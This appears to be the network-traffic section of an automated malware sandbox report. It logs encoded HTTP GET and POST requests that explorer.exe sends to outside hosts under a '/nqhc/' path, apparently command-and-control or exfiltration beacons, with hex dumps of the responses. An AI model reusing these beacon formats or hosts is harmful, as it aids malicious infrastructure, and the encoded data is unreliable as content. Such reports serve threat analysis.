4f 65 44 45 46 70 78 61 35 6f 58 73 79 7a 6f 6d 6e 70 49 71 39 4f 4f 31 41 34 37 75 69 71 57 54 78 6d 32 52 56 6c 42 54 5f 4a 6f 37 50 71 43 4a 30 49 56 6d 42 56 38 70 35 77 63 35 67 79 66 46 32 68 4e 50 65 67 61 43 57 79 67 59 70 32 48 55 53 6a 78 50 70 66 54 77 6d 74 59 4e 76 6e 38 55 7a 67 52 33 78 72 78 30 57 5a 32 68 77 79 4f 47 46 31 34 45 4b 77 53 42 4d 50 73 65 47 4b 50 31 30 42 72 45 78 59 68 48 66 67 63 54 4e 45 77 63 47 58 58 42 63 37 6e 7a 4c 68 62 57 79 46 48 51 44 33 65 37 6b 43 63 6c 4f 28 53 41 5a 6b 34 47 30 37 74 36 75 77 5f 50 4e 54 49 30 75 46 6d 37 4d 33 31 32 6d 58 30 28 42 58 6d 68 49 62 30 65 59 4f 55 54 46 4b 30 70 77 34 51 48 74 76 41 49 68 4a 44 30 6a 6f 74 68 33 32 50 73 48 54 39 79 66 54 65 54 71 78 6a 32 6b 69 30 4d 76 4b 7a 38 64 68 53 41 52 54 57 48 61 34 7a 78 47 70 48 55 58 7e 32 33 64 49 5a 46 58 59 6b 67 5a 48 42 49 77 4c 2d 39 58 56 30 6f 36 50 59 6c 31 64 53 58 6f 49 7a 56 62 5a 35 76 75 76 70 5a 61 52 64 4f 6e 43 67 59 42 49 49 51 37 38 54 4e 67 4a 6c 66 45 77 34 6e 44 71 42 49 33 43 41 65 6f 74 2d 71 51 65 42 66 37 72 42 42 6e 39 6a 56 33 43 57 61 71 32 49 78 6e 4e 6b 28 57 64 50 4b 33 47 5f 72 4a 58 44 47 47 4e 58 41 32 31 69 59 70 4b 68 61 4c 78 2d 5a 47 4d 44 38 6c 46 6f 76 6f 42 4a 28 61 37 56 6c 65 73 57 6b 6e 66 4f 71 33 79 68 63 4d 33 66 7a 5f 53 55 50 49 52 66 39 56 6e 59 65 55 79 52 4b 44 45 43 56 75 65 39 45 32 6c 39 4f 77 62 75 46 49 43 57 39 4e 4e 58 73 5f 48 6b 4c 2d 7a 33 49 32 64 32 6f 53 30 62 73 63 7a 2d 52 68 6d 6d 6a 66 72 51 68 41 52 49 41 47 51 64 46 6f 56 76 56 71 72 4c 67 49 47 4a 61 73 75 32 5a 4a 41 49 6c 56 28 6c 6c 49 53 70 6b 54 56 48 45 57 57 67 41 4e 69 37 66 68 54 6b 4c 74 41 58 76 32 30 72 65 66 59 50 4b 47 44 6c 4b 6b 31 4e 61 46 71 43 6a 70 6b 70 73 4b 66 74 6c 4f 6c 55 6f 5f 42 57 4c 5f 4b 4c 4d 65 6e 4f 7e 57 56 61 66 6f 4a 31 37 4f 39 75 72 38 30 73 49 5f 6d 7a 57 45 7a 7a 54 43 52 43 55 68 41 4e 30 33 71 4f 67 35 72 65 62 4b 43 35 74 78 77 69 36 4a 46 62 65 6a 4f 54 6d 4c 55 4c 4b 6c 48 53 50 74 7a 41 6a 42 65 70 66 45 36 4f 6f 76 28 54 33 57 67 42 48 47 35 74 43 4d 74 48 34 39 51 4b 6a 6c 66 34 61 56 52 38 4c 51 66 4f 45 6b 37 56 76 74 6f 45 63 67 51 7a 6a 46 70 55 4a 55 4c 35 42 76 36 67 75 69 45 4b 4c 74 55 48 42 71 56 6b 63 44 33 30 5a 75 35 56 38 6f 6a 69 79 69 7a 71 43 56 39 5f 7a 61 42 57 52 68 4c 54 58 53 6c 70 77 42 37 34 50 2d 70 43 55 55 31 4d 44 79 52 36 46 4f 79 65 4c 54 46 68 7a 55 70 62 4c 5a 62 51 69 2d 61 41 41 66 57 68 42 4d 43 47 56 65 72 7a 32 59 6a 33 52 47 28 33 51 4d 62 35 6b 30 55 73 58 52 56 6f 50 38 72 74 51 65 53 45 46 53 32 37 7a 77 77 55 77 44 45 36 7a 36 70 75 41 4a 6e 66 49 79 56 47 72 31 61 35 35 44 36 4d 28 59 42 46 49 37 50 66 6b 59 75 57 49 5a 36 4f 4a 73 69 31 66 62 33 72 4b 55 62 57 42 57 7e 58 6b 6a 77 69 6f 32 44 67 72 73 70 5f 72 32 69 54 7e 56 52 6e 41 37 6c 74 67 70 63 68 52 35 32 33 7a 38 56 66 35 53 66 43 41 47 4f 70 35 51 39 45 46 34 6d 67 32 4e 6d 41 30 31 6e 42 77 77 55 46 78 44 48 4b 35 66 55 63 51 48 41 62 33 2d 49 4e 78 62 4e 43 53 49 70 59 5a 46 6d 5f 57 36 35 55 4f 6e 53 54 55 6c 73 79 72 70 78 79 68 51 4c 4a 64 77 55 6f 41 35 6c 37 44 5f 59 57 6f 76 31 30 4e 77 5a 7a 65 4c 44 69 7a 4c 33 49 36 4c 53 6f 33 79 79 37 42 79 45 71 41 34 4b 53 4d 6a 4f 66 51 33 32 50 32 67 41 56 39 69 55 66 61 76 30 50 78 4b 63 6b 62 5a 76 51 50 53 58 52 38 44 4a 6e 30 5a 31 Data Ascii: 7nWHV=BmG0s2zn5Xfmhn4WnIG4JnAXz1w5DQ4ksrh2MC8HNSIUt71O1tRJylrEB_MAb5Al5eoWBKRzF02jH3ywJxeYoddi2axuplrSLyYtjy5tbhTD8e7Yx8ODG6N2Z87Nh7C_ct7Kd-WNV1rn3AQ9vebjW4KuFMR03X02jjGbEkTHCC8R16I2~q~xrTHHzyXxkTTNtsvsnKVwpWFpQDtVcCneDB8bfv3DdT8bHkx6qeN_YKvTkXj5UIMOeDEFpxa5oXsyzomnpIq9OO1A47uiqWTxm2RVlBT_Jo7PqCJ0IVmBV8p5wc5gyfF2hNPegaCWygYp2HUSjxPpfTwmtYNvn8UzgR3xrx0WZ2hwyOGF14EKwSBMPseGKP10BrExYhHfgcTNEwcGXXBc7nzLhbWyFHQD3e7kCclO(SAZk4G07t6uw_PNTI0uFm7M312mX0(BXmhIb0eYOUTFK0pw4QHtvAIhJD0joth32PsHT9yfTeTqxj2ki0MvKz8dhSARTWHa4zxGpHUX~23dIZFXYkgZHBIwL-9XV0o6PYl1dSXoIzVbZ5vuvpZaRdOnCgYBIIQ78TNgJlfEw4nDqBI3CAeot-qQeBf7rBBn9jV3CWaq2IxnNk(WdPK3G_rJXDGGNXA21iYpKhaLx-ZGMD8lFovoBJ(a7VlesWknfOq3yhcM3fz_SUPIRf9VnYeUyRKDECVue9E2l9OwbuFICW9NNXs_HkL-z3I2d2oS0bscz-RhmmjfrQhARIAGQdFoVvVqrLgIGJasu2ZJAIlV(llISpkTVHEWWgANi7fhTkLtAXv20refYPKGDlKk1NaFqCjpkpsKftlOlUo_BWL_KLMenO~WVafoJ17O9ur80sI_mzWEzzTCRCUhAN03qOg5rebKC5txwi6JFbejOTmLULKlHSPtzAjBepfE6Oov(T3WgBHG5tCMtH49QKjlf4aVR8LQfOEk7VvtoEcgQzjFpUJUL5Bv6guiEKLtUHBqVkcD30Zu5V8ojiyizqCV9_zaBWRhLTXSlpwB74P-pCUU1MDyR6FOyeLTFhzUpbLZbQi-aAAfWhBMCGVerz2Yj3RG(3QMb5k0UsXRVoP8rtQeSEFS27zwwUwDE6z6puAJnfIyVGr1a55D6M(YBFI7PfkYuWIZ6OJsi1fb3rKUbWBW~Xkjwio2Dgrsp_r2iT~VRnA7ltgpchR523z8Vf5SfCAGOp5Q9EF4mg2NmA01nBwwUFxDHK5fUcQHAb3-INxbNCSIpYZFm_W65UOnSTUlsyrpxyhQLJdwUoA5l7D_YWov10NwZzeLDizL3I6LSo3yy7ByEqA4KSMjOfQ32P2gAV9iUfav0PxKckbZvQPSXR8DJn0Z1_fX8mXhX5nCY559ZaIsJn7ce5(mbM5eJlVMSFQWqYIh1WSlmuUjit2bPaFoO_ncEoczRiGlNcVZ2DwFDm7IirRvgAPRaHRZuHrfd3hb8F5rYCYCckcKL8Ieezo22AHsUhYgWTy6x4(k47HFVnYI4CLE~y5tDY3PyNGGpvZzqZ32J9QzVPCIuOh4F2f3H3SQ62hIxQymbPyeWv0-qY4WNU5Ek64XUot7Ekxebjxfynp2JviHp2ZJk1c8soRufoD5QRxQB6Ec23UfdaH8L9gjAYr7TXdp35WcSFIOHnT35Y7bJ4mrO6AeK23Wm6xXIfTPeLPA76ZqNKc25eu4TnbS(u9uALKTEe2X4hco~oBrpvSqC6qdvsyDVbGNHe473EnDFXut4N7dL8pg8yXUcqdyoRSJDJ7CrdU5gqNk7vGd1awRaEFzxshbNDlYhzXaeDFq1Y7kg648eqvM58L1r1iK5x0fe3mZGrXUUqrqG1G7fxJjUQcVoTpaZMhb3pBB1yq1Dwzl(kg0sOeshIs1Pm0jHgGHPb7Ot579xxiT14FdOSmKq-(2bPoLfVHv4_~DLzo6hoUAB8xAAhGNzQxcGJxHKAcfoKPyL5pkUndp1ULZXc9FRAIXkLveHxws5f1sr-1A8DOLuFdAm2u1tfhuoXQNM6Bjcr2A4_pkkuXuwcA7wb5A8ohO6C~y6_0byEVXejiMs7BXP8T0U9~vA8wxXt1d6gpXiPnHwH0O1qg7ArlFNUzFyDCi1etthi(9VgUmJuIBSRSPjH(qTTV6BmtH9A3HE_yttbiY4tdzNt(HoQGLXxd1hZAh1h6frQdxjHEx~QhdfwPbl-6z9626OtyuY5q7Un5QgUjdcHb8LshBv3bl9fFO3QaqN8PN8o4okotA5sKw74BA0P(Pcw5zwwk2pZs2m1(GC-b_eB2McpWahOZo76eOxr06aNgLkvBIrZRpKV7ACFUSS73-pjOWZuvuHFa7paHGb-NMzNg9gWkNVMi9T9fdPD0qQQ7fnknc46lSNyqshBXWLZqIwNzbF3Vw0F(wJBR-Ef5C45LcoXPZ4XmtqjeG(OCQqfWzY1arjpxDbIRvwCZvz6agq1t09cD49BPPlBIhPTukeypxZIJx(NY55u60M2cDpzpPE6oQv1540b2Bgz32t1w9FMD792qsYtIIum(FkYh2cFcxtsV9cC3puWyuBmD1MIlnihTCS_3z6y1y8xBYiTnsek4kzgEjtHiwbRY6yrKWU2lwSKM3Lkk0BdG4sVdh4VQMxAOmHxF5Rd8RZtqIuQCH1YdMus~wIrRR(BbJWk0G4U1rMASIxuKj9MJt9AWTJ9vtOgiWhuS-0chk7k44I-kG7IPTd9Hze3g9eAglZl5oiaV_MC7giGwETETEEa0hgzpxclahmFZRrOo6F-L7Icowb9JuLw7w2wHL2OxTri~siHeRar5Sne6366BNFGV-gtzv2Gai3Lb4tWtj~J(Fhq24ysgjEMfByDNGe5Ph(rQzcmNv8gRAQbpFqpsrv6i0mgXLKESjcXxNvkxdl9lFQhJ5AvRPnQ0aqDYBHDR9ccJP7FxpdIRJq_ZpXDjI8tjwfQEHxrw9iD5FJkSztHwDFbvKllvHRpO4ACW7iEyvCvO3dl5ZMZuEJF9xSoq_vKr26ILKA88Ytzz0vxayJUjELhOvGqaY5ODKbM6R7-I1ZeqO3h6MVYvYYTF1IRw3(aZq6HVM6DGRmI1EPNVwwoIvUJzB1maX~a~CIbi3gF0hZEtgzPVSyQGRtRpH0fDCtCnqGYdkjFGUgRtohoEZMo67AWwqeaiBJUrd32ylos8ckQMSQ7AnZ5onkMdoFBrjjfSNEqzPJ6hfENSriqhfq_DQAvMsR03M6aoLIIHrOWoc(5SL8pzlymv-VSrxJ0TmwkkANy2xd1eYONnlpkfzMKVAV9hNmPwJzfjmlqM0Bm9fzAGoo7SxYCBAslBKVB73D5SkVdnTshbG8KLAU3I9iCIpHcZ2OCjHC4Dgb1EHCwbnKH~X3rkyx7kyoWDA9zsuie0yRnMY6y9MeoGaaF5c59~OWPUynsFama91RRRNK68ShFjRMvHvAu~h93WQyZpVLyNT7W~Z3hpQ8M5gGFK7NRIeuvuXhKz3ccBlFhHN(UPN5_EYzpGs3I59svdoQgDdDxZDe0JJgWq0~LgJ2_6NjWOeG1NXpE(Cp1AtHhcNTFX4KaGgZ8d5h_4letagomdcBUA9G-POqdVUQqDlytB1r-PmlbRzdRsUiri3Sq2Qyy9U1_tUnx1GMZR5yo38FFG3sLiEoBWpvrE9Q26kR6UumEsubx1f99ZzfPncifLRjLyArfy7(hOwPRwgDxMPuZ4OBuS257W67RnHGoBD2m8s930VWhM4mOpDD87f~HaJE7dlHLiWvFC3r1W_OVhpH3sRQipRd5xkXoJxHbZ2iRKINZilbddNIx0UARXLQFIReYDVmrB2KSq9IIJHdU4NvLhRC_9xd-q_lUFJPQIPC5eII9JTHBf30cv2EwQ0fE3xbWVojiYmXM0rKbR7etbLN4CLq_431txCSUjSTLdvXBIG0kX6khU-k1g1x8iWpQjx(DV_CSYMerKs(lXhxH~bN1xNwQg_kbaRUTr6TAEMIjEY4BMJyOJM(lrgD9XxpnhSp-c3J_NEn1CZVCZzURZCCh23U3WgL6d8NwKOFsQONbDzd8iH95DFUhyeuVO-uyfpXiN3VasmTz8TXO52
Dec 5, 2022 15:18:34.218924999 CET	12292	OUT	Data Raw: 65 4a 58 37 39 54 62 31 62 72 38 45 75 5a 56 71 4c 6a 31 63 68 33 7e 34 59 7a 4e 5a 69 51 63 49 50 39 63 78 49 31 65 7a 63 43 77 57 64 4d 31 79 75 53 74 54 47 30 78 59 32 55 44 41 79 6b 79 6c 34 43 7a 44 73 6b 79 6f 66 76 67 53 5a 54 72 6d 4e 6b Data Ascii: eJX79Tb1br8EuZVqLj1ch3~4YzNZiQcIP9cxI1ezcCwWdM1yuStTG0xY2UDAykyl4CzDskyofvgSZTrmNk6AVmtpz_huGvMC7Kpr~zqmyH0ZJaBJX6bHExgBRquDxKdda_xfl_LEZRgR83QDXjzbEhnXjB4rAqmDTKdrL0oUQW4k81tfNqIh4DgBLW9ZX8Ei4PAokm0Iq-3exfcubUtJbsX66C8MjMFSa0NCViQflvvqTmK9zJy
Dec 5, 2022 15:18:34.219079971 CET	12298	OUT	Data Raw: 4a 66 39 54 58 6f 4e 63 62 4e 53 4c 5a 65 47 55 6e 6d 67 51 41 70 70 4e 7a 44 69 59 57 38 76 44 52 47 4e 58 44 4e 4a 46 54 70 71 30 47 52 28 6e 66 54 4a 69 58 6e 41 4c 43 51 52 38 62 7a 75 63 61 5f 45 71 77 73 4e 37 79 77 4f 37 6b 54 30 4c 65 69 Data Ascii: Jf9TXoNcbNSLZeGUnmgQAppNzDiYW8vDRGNXDNJFTpq0GR(nfTJiXnALCQR8bzuca_EqwsN7ywO7kT0Leih_7oLssDrHyqnO4pUVJkrk2jpTwCN0ZvXhRJzstSIpivc0xEylgoIcp97Fkh3om0f8gGSTZ6LWKTRBrUzY6WDHXMoYqiOWIvL4bAVopuimTvMleQigKnMGtkXgxqkEDSi-Qugc(bXzq3c7SJqo1a71EkMs9aPleHm
Dec 5, 2022 15:18:34.219621897 CET	12306	OUT	Data Raw: 61 64 6f 69 35 34 44 43 4e 33 5a 4c 6d 72 63 6a 71 38 33 71 28 71 28 4e 30 30 54 51 4b 55 72 31 6d 43 5a 41 54 50 52 67 31 79 64 61 6c 48 39 32 73 4e 67 44 6f 78 4c 73 76 43 34 71 58 6e 36 45 75 2d 62 4f 6f 4e 78 53 61 55 43 77 37 48 62 50 6d 2d Data Ascii: adoi54DCN3ZLmrcjq83q(q(N00TQKUr1mCZATPRg1ydalH92sNgDoxLsvC4qXn6Eu-bOoNxSaUCw7HbPm-4uhprVQqfRVQCCBmOXSjrkz06WmzQGZGcR6GxdlYdxlKx9g3KN9_j6BV6jF-33N_PKyohYb69cWiQyl2025wmUCFVYMEtzg-bbeIfuRdl1QmyPiGiah07A6EPo(A7_drBDmoyUD6EciDE8ohe7OflacF4-ufEpddn
Dec 5, 2022 15:18:34.219805002 CET	12315	OUT	Data Raw: 4b 74 6e 6c 32 6d 65 72 41 61 6f 39 30 52 69 4e 67 78 4b 54 55 45 37 41 39 59 42 5f 39 78 6d 68 78 4b 37 65 62 31 43 4a 7a 67 34 53 4a 58 61 53 52 4f 42 51 68 48 67 48 37 4d 7e 55 33 6a 51 64 4a 48 48 6a 46 57 36 4a 62 70 6a 64 39 4c 71 55 42 65 Data Ascii: Ktnl2merAao90RiNgxKTUE7A9YB_9xmhxK7eb1CJzg4SJXaSROBQhHgH7M~U3jQdJHHjFW6Jbpjd9LqUBeYfZoIG0R520TcfUBbs0IAo(EJNzYPqfkTx6AN4IChJfj4tleyHnIs7DicIlrmUbHV9xdhlwCeITqEh~Evna47Cf5YI95MzSUlNUKlq4HHMwJPIS8(oU4kR(Wsj~KheOOATg2r21i~XwexIRpD65JdQTL5fy8pQw7U
Dec 5, 2022 15:18:34.219916105 CET	12317	OUT	Data Raw: 4d 6b 31 6a 44 45 4a 6c 28 31 70 6f 4e 77 43 71 57 49 6f 4c 48 35 6c 30 6b 49 37 73 69 62 53 4c 6f 6e 71 35 6a 4f 28 6f 4b 54 62 50 4f 68 6e 61 44 49 56 67 6f 69 4a 7a 45 4d 45 56 4c 4d 67 39 36 32 68 6a 71 6f 78 73 37 75 6e 30 63 55 79 35 48 39 Data Ascii: Mk1jDEJl(1poNwCqWIoLH5l0kI7sibSLonq5jO(oKTbPOhnaDIVgoiJzEMEVLMg962hjqoxs7un0cUy5H9o_S0UB4u4IkjSL982aG2jeXa7kFMly9Xt03Av_96gtuCU2aPfWmgxZMfG_uiRrHqQFPYYEM28487Z9WXN6iwBfhN~x6uJ4H37DSL2ziT0VTXI3Z9AYVRIElM(55wWGkTiAKj5pH5AnhxJ_Zh90KirPjrSP6OV_9O4
Dec 5, 2022 15:18:34.500874043 CET	12322	OUT	Data Raw: 4f 76 61 44 70 6d 53 78 4c 58 54 71 58 32 79 44 48 41 70 36 30 45 47 31 4b 7a 30 43 71 32 30 53 32 56 44 66 30 53 70 67 7a 56 7a 65 58 70 55 50 67 39 47 79 70 58 69 79 4d 6e 31 77 73 47 48 6a 62 41 73 4e 65 75 51 73 7a 4e 33 33 7a 79 59 51 45 36 Data Ascii: OvaDpmSxLXTqX2yDHAp60EG1Kz0Cq20S2VDf0SpgzVzeXpUPg9GypXiyMn1wsGHjbAsNeuQszN33zyYQE63dWy5aRC0TZ4cu1WJrbZHmHPFrtFJJT7C1El2O47bpeG0mxBeBDMgmvIwRw6tDQ5Q2xA7MnnA9OkpsUn3puzXfLdT3Q4L7yUgGVPEP3eUhU6WduozFPSUDGy(8dpHpzAegKYEXAH(WPvnNKx1x2ODNYxTP~A13hOq
Dec 5, 2022 15:18:34.501000881 CET	12330	OUT	Data Raw: 72 34 37 71 34 30 75 54 56 63 36 4f 69 43 4a 49 4d 76 39 63 66 35 61 6d 28 77 6b 33 58 6d 46 32 61 68 32 66 57 79 45 65 6d 70 63 6b 37 47 52 5a 7e 45 68 68 46 54 6c 2d 69 4a 78 50 4d 65 6a 79 5a 38 72 79 55 4a 73 6d 72 36 72 33 7e 30 62 34 54 33 Data Ascii: r47q40uTVc6OiCJIMv9cf5am(wk3XmF2ah2fWyEempck7GRZ~EhhFTl-iJxPMejyZ8ryUJsmr6r3~0b4T3vgqq79mC9wCZSBla(Wdv(GUF85na1qaD(jebMJvbZhcS37W3DkJx0P3rStekwlJeeDZuRMTTtaSYjOhxldaxIBUl9gy98iOhi6QHmA8AhRkphxs2cIJJOZ8F0U5gm363PuaEuQIBoR6EBKAxWUxyFPD0upEAiGB1u
Dec 5, 2022 15:18:34.863331079 CET	12332	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 05 Dec 2022 14:18:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0
Dec 5, 2022 15:18:35.112493992 CET	12332	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.11.20	49908	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:18:36.249335051 CET	12333	OUT	GET /nqhc/?7nWHV=MkuUvDTfzFLprDgv0d/zCzEj80YoaBEagpxYPCZUDQ8arMBq5slv03vCCvkVDe0A6/c8Ceh5Akj/CnOQLB+qucpYk5Fxn1TZTg==&t0D=yFNHS0IX HTTP/1.1 Host: www.youlian.fund Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:18:36.535110950 CET	12333	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 05 Dec 2022 14:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 0d 0a 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1.0
Dec 5, 2022 15:18:36.775965929 CET	12333	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.11.20	49909	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:18:41.658643007 CET	12334	OUT	POST /nqhc/ HTTP/1.1 Host: www.royaltechglobal.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.royaltechglobal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.royaltechglobal.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 63 43 44 37 68 6d 49 2d 4d 78 28 67 7a 47 33 66 35 68 71 30 38 6c 61 6d 77 54 76 44 61 52 38 75 68 76 6e 45 6f 57 6b 63 73 68 7e 34 67 78 35 64 39 38 46 54 59 35 68 79 65 75 33 75 78 2d 45 78 58 73 6e 69 4a 47 31 68 62 35 6f 35 74 58 44 6d 35 54 67 49 38 36 61 65 50 32 6f 6d 6f 73 68 5a 49 70 39 47 72 49 38 42 48 44 74 47 6c 68 47 71 70 34 51 65 4f 31 79 59 7a 68 6e 34 37 47 4f 49 44 50 59 4a 6b 37 34 31 68 69 6f 45 75 39 54 37 5a 4f 7a 53 31 7a 6d 39 47 79 66 31 4e 50 68 71 6b 6f 7a 70 47 4e 34 76 42 6a 33 72 4c 5f 33 4b 64 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=cCD7hmI-Mx(gzG3f5hq08lamwTvDaR8uhvnEoWkcsh~4gx5d98FTY5hyeu3ux-ExXsniJG1hb5o5tXDm5TgI86aeP2omoshZIp9GrI8BHDtGlhGqp4QeO1yYzhn47GOIDPYJk741hioEu9T7ZOzS1zm9Gyf1NPhqkozpGN4vBj3rL_3Kdw).
Dec 5, 2022 15:18:41.956681013 CET	12335	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:18:41 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://royaltechglobal.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 13070 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6b 73 db c6 b2 ed 67 a9 ea fe 87 31 5c 89 a4 2d 02 20 f8 d0 83 22 99 63 2b ce e3 1c 3b ce b1 9c 9d bb 4f 9c 52 0d 80 26 30 d6 60 06 99 19 90 62 74 f4 df 6f 0f 00 be 24 8a 62 64 67 a7 ea ee 4d 5b e4 4c 4f f7 ea d5 ab 57 ff d9 d7 6f cf df ff e3 c7 57 24 35 19 1f ee ee f6 ed 2f 89 99 1a 38 dc 28 87 70 2a 92 81 03 c2 fd e9 c2 d9 dd c9 15 8c d8 f5 c0 91 49 0f 0b 4c ae 7b be 2f 93 dc cb c0 17 fa b9 43 10 60 a7 9f 02 8d 87 bb 3b 84 ec f4 33 30 94 44 29 55 1a cc c0 f9 e9 fd 37 ee 89 b3 fc 24 68 06 03 67 cc 60 92 4b 65 1c 12 49 61 40 60 ea 84 c5 26 1d c4 30 66 11 b8 e5 a5 ae db dd d9 e9 3f 73 5d f2 82 73 c2 04 79 2b 80 5c bc 7a 4b 3a 5e cb 3b f6 02 e2 12 ca a4 06 e9 45 32 23 ae 3b b4 e9 4b 9d 94 0c a5 d1 4b 7d 84 64 22 86 6b 87 f8 77 53 13 10 a0 a8 91 6a 29 fb 4e d3 fd 17 df bf c5 df 83 79 f7 19 8c 8e 14 cb 0d 31 d3 1c 81 68 9e 73 16 51 c3 a4 f0 79 7c f8 51 4b 81 90 9c 6a 8d 6f 25 59 57 47 29 64 d4 4e b8 b3 73 e3 fc 47 d9 ef da 38 3d a7 d2 f8 83 ff c1 af 52 3c a9 12 a7 e1 fc 47 a2 68 9e 3a bd 5f 30 d9 36 c1 cc 97 0a 55 8f 54 91 85 af 99 36 36 87 c5 2b 00 4a 4e 29 37 10 a5 09 97 21 e5 56 a0 0f be f8 2d 8d 3e f8 cf c3 79 31 af 8a 99 81 cc e2 bc e2 90 e1 e4 2b 9d 6c fc 7b 7c df b6 c7 73 be 28 c8 a5 66 56 08 a7 17 54 4d 9c de 02 f8 67 08 7f a4 09 6c 8b 8b 79 76 53 98 f8 9d cc 6c 55 a1 f8 16 55 b7 58 86 e2 96 84 b6 d5 67 3e c1 6d e3 e9 3a dc c5 5a 56 a3 f5 c9 6a 54 e8 0b 4d 7e 90 86 7c 23 0b 11 6f 2b 4c 0d 80 f2 e4 0a c6 4c 16 7a 3b 89 96 c4 f9 75 59 9e b7 2a a1 82 fd 5e fa 7e 6b ab c8 d5 a2 7a 96 77 36 97 bc c7 64 f2 6d 99 bd f5 b2 1b 0e 97 89 5c 96 f5 fb 0c 45 7d 1b 7e 84 c8 6c 8b 32 c9 dd 48 0a 03 c2 7c f0 8b 9c 4b 1a eb 0f 7e ab d9 6a 7d f0 83 e0 83 1f 29 99 e7 10 bb af b1 d3 1b 7a a5 dc c0 cb 45 f2 a4 91 2d 04 16 4e 58 6c 52 34 45 a7 d9 70 52 60 49 6a 9c 5e a7 8d 9b 61 96 7c 39 cd d3 a0 6f 97 17 f4 24 83 3d 9f 40 98 57 55 7f c4 55 48 5d bc a6 22 29 4a fe 0e 08 f7 a7 0b 1b d4 3f 52 65 de 8e b6 1f 09 db 6b 66 c0 da 34 54 40 e3 48 15 59 b8 75 79 3d c3 a2 d2 7a f7 9e 2a 17 b6 c1 b6 eb 9b 11 da de 91 1b 4c bd 56 a4 bc b0 34 53 50 4f 5b 3c 8e f7 eb ed ee ce 4e df d7 91 62 b9 19 da f3 33 d7 25 2f 38 27 4c 90 b7 02 c8 c5 ab b7 c4 75 87 bb bb bb d5 d3 fb 94 69 62 c7 22 f8 2b 73 c3 32 f6 3b c4 64 c2 4c 4a 4c 0a e4 1f 92 6a 53 56 e5 bc 48 10 64 1c 9c 7a 41 40 5c 52 31 f3 fd a9 cd b0 6c fc 89 54 71 ae 40 6b bf ca d5 be 06 e9 97 ed 76 fa 86 19 0e 43 6b 43 22 a4 21 23 59 88 18 51 ee 69 d3 f7 ab 4c 2c c9 c0 50 92 2b 99 83 32 d3 81 23 93 1e 97 11 e5 e0 90 48 0a 03 Data Ascii: rksg1\- "c+;OR&0`bto$bdgM[LOWoW$5/8(pIL{/C`;30D)U7$hg`KeIa@`&0f?s]sy+\zK:^;E2#;KK}d"kwSj)Ny1hsQy\|QKjo%YWG)dNsG8=R<Gh:_06UT66+JN)7!V->y1+l{\|s(fVTMglyvSlUUXg>m:ZVjTM~\|#o+LLz;uY^~kzw6dm\E}~l2H\|K~j})zE-NXlR4EpR`Ij^a\|9o$=@WUUH]")J?Rekf4T@HYuy=z*LV4SPO[<Nb3%/8'Luib"+s2;dLJLjSVHdzA@\R1lTq@kvCkC"!#YQiL,P+2#H
Dec 5, 2022 15:18:41.956757069 CET	12337	IN	Data Raw: c2 0c 50 b9 4b 54 8e f8 eb d3 4b a4 a5 ec c7 bb 3f 08 65 25 ba 2c f7 b9 80 7b a8 ba 52 9f 58 9b 0d 1c 9a e7 9c 45 e5 7e 7c 1e 1f 7e d4 b8 27 12 71 aa f5 c0 29 a5 73 75 94 42 46 dd 44 d1 3c 75 86 b8 f8 b2 c1 b5 99 6f df f7 ab 14 0f 97 6d dd 5a 65 Data Ascii: PKTK?e%,{RXE~\|~'q)suBFD<uomZe~y:<MC5^dUQ"@f~h8LNx%(0h!95FTvb"t~+@M]&.CoS~ska5IF.vy%W+6lcmre#DV
Dec 5, 2022 15:18:41.956813097 CET	12338	IN	Data Raw: ef 07 bd 7d cc 30 86 46 69 99 b4 ef 48 51 3f 1f d8 de ab 2f 25 3b 6d a8 81 28 a5 22 01 a7 b1 44 de 89 64 96 73 30 e0 0c 06 03 5a 4d 72 61 73 ed 62 ee ce 75 70 d0 d8 07 2b bf 2c 54 04 ff fb bf 37 b7 07 5e 24 45 84 e9 d6 ba 5f 45 48 6b e9 7e d0 03 Data Ascii: }0FiHQ?/%;m("Dds0ZMrasbup+,T7^$E_EHk~o/Lo{n'LreTd8A{uKg}_Gffi#.vu8L!7;19a30g;T1SH&]J&iz9"]
Dec 5, 2022 15:18:41.956868887 CET	12339	IN	Data Raw: 0b dc 1e 83 94 c7 25 a4 2d cb 2a de 38 08 fa 6e da ab 3d 50 96 3d b2 8a 8c 19 37 2c 90 a5 58 16 b3 65 d5 9c a1 3d 0a a3 e0 b7 82 29 88 5d eb b4 b5 24 e6 76 3a cb 69 1c 33 91 2c 3c 5e 8a dc f4 da 9b d7 25 c5 85 e5 aa 35 43 a2 29 b0 24 35 25 c4 13 Data Ascii: %-*8n=P=7,Xe=)]$v:i3,<^%5C)$5%M;bJhEESqFQGReP[4l"j,(#hSrcT,o=%'gt/a@5:[W-A9u(Uf%g,I.UOb5.vQEcV^Fht(YFn7n8=!
